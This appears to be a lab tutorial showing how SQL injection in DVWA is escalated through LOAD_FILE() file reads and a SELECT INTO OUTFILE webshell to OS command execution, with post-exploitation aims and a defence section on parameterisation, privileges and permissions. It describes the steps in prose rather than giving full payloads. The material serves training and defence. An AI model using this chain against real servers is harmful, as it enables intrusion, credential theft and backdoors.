DVWA SQLi to OS Shell Lab 2026 — File Write to Remote Code Execution | Hacking Lab23

DVWA SQLi to OS Shell — Three Conditions Required

Before you run the first query, know what you’re working toward. The SQLi to OS shell chain requires three conditions simultaneously. Break any one of them and the chain stops. Understanding each condition also reveals where defenders should place controls.

Condition 1 — Exploitable SQL injection. You need an actual injectable parameter with no parameterisation. In DVWA Low security, the User ID parameter is directly concatenated into the SQL query — the foundation of this lab.

Condition 2 — MySQL FILE privilege. The database user running the queries needs FILE privilege. This is what enables LOAD_FILE() file reads and SELECT INTO OUTFILE using the permissions of the mysql OS process.

Condition 3 — MySQL write access to the web root. The mysql OS process needs write permission to the document root. In DVWA’s default configuration, this is intentionally misconfigured to allow the lab to function. In production, this should never be the case.

Step 1 — Confirm SQL Injection and FILE Privilege

Don’t jump to the FILE operations yet. Confirm two things first: that the injection is UNION-based with the right column count, and that the MySQL user actually has FILE privilege. FILE privilege verification requires querying the MySQL user table — something only possible through SQL injection if the application database user has access to mysql.user, which in DVWA’s default configuration it does.

Step 2 — Read Server Files with LOAD_FILE()

LOAD_FILE() is your first read capability. It reads any file accessible to the MySQL process — in DVWA that includes system files, Apache config, and application source code. The first thing I always check is confirming the web server’s document root path — the directory where we need to write the webshell for it to be accessible via HTTP. The web root is typically /var/www/html/ on Ubuntu/Debian-based systems and /var/www/ on some others, but reading the Apache virtual host configuration confirms it definitively.

Step 3 — Write the PHP Webshell via SELECT INTO OUTFILE

SELECT INTO OUTFILE is the write half of the chain. It writes a SELECT result directly to a file. Select a PHP webshell string, write it to the web root, and DVWA’s Apache will execute it as PHP on any subsequent request. When the web server processes a request for that file, it executes the PHP — including the system() call that runs OS commands. The webshell file only needs to be in a directory the web server serves — hence writing to the web root is the goal.

Step 4 — OS Command Execution and Post-Exploitation

With the webshell deployed, every HTTP request to shell.php?cmd=[command] executes on the server. The commands run as the www-data user — the web server process account. In a real penetration test engagement, this access level allows reading all web application files (source code, config files, database credentials), writing to the web root (planting additional backdoors), and attempting local privilege escalation to gain root access.

For DVWA lab purposes, the important documentation is the chain: SQL injection → FILE privilege → file write → RCE. In your lab notes, record the exact payload used at each step, the response confirming success, and the OS commands executed. This is the format for a real penetration test finding — reproducible steps from the injection entry point to full OS command execution, with screenshot evidence at each stage.

Defence — Breaking Each Link in the Chain

The SQLi to OS shell chain has three distinct links. Breaking any one prevents the full attack, but security-conscious defences address all three because attackers may have access paths that bypass specific controls.

Link 1 — Eliminate SQL Injection: Parameterised queries (prepared statements with bound parameters) make SQL injection impossible regardless of what input is supplied. This is the fundamental fix and the most important. PDO, MySQLi prepared statements, and ORMs implementing parameterisation all prevent the injection that starts this chain. Input validation is an additional layer but not a substitute for parameterisation.

Link 2 — Remove FILE Privilege: Application database users should only have the minimum privileges required: SELECT, INSERT, UPDATE, DELETE on the application’s specific database. Never GRANT FILE to an application database user. Run SHOW GRANTS FOR 'appuser'@'localhost'; to audit existing privileges. Revoke FILE privilege immediately if found on any application user: REVOKE FILE ON *.* FROM 'appuser'@'localhost';

Link 3 — Filesystem Permissions: The MySQL process user (typically mysql) should have no write access to web-accessible directories. The web root should be owned by root with www-data read-only access. Running ls -la /var/www/html and verifying the mysql user cannot write there breaks the webshell deployment step even if SQLi and FILE privilege both exist.

Why This Chain Matters on Real Engagements

I want to give you the context that makes this lab more than a technique exercise. The SQLi to OS shell chain is one of the most impactful attack paths in web application security — when you demonstrate it on a real engagement, it changes the conversation with the client immediately.

The typical response to a SQL injection finding is: “we’ll add input validation.” When you show them the same finding escalated to a UNION-based FILE READ of /etc/passwd, followed by a web shell written to their web root via LOAD_FILE and INTO OUTFILE, followed by a Meterpreter session on their application server — the remediation conversation becomes very different. They’re not adding input validation. They’re emergency-patching and escalating to their CISO.

That’s the value of understanding the full attack chain: not to cause harm, but to communicate impact accurately to the people making remediation decisions. A finding documented as “SQL injection, medium severity, add input validation” gets patched in the next sprint. The same finding documented as “SQL injection escalating to OS-level remote code execution via FILE privilege — demonstrated here” gets patched this week.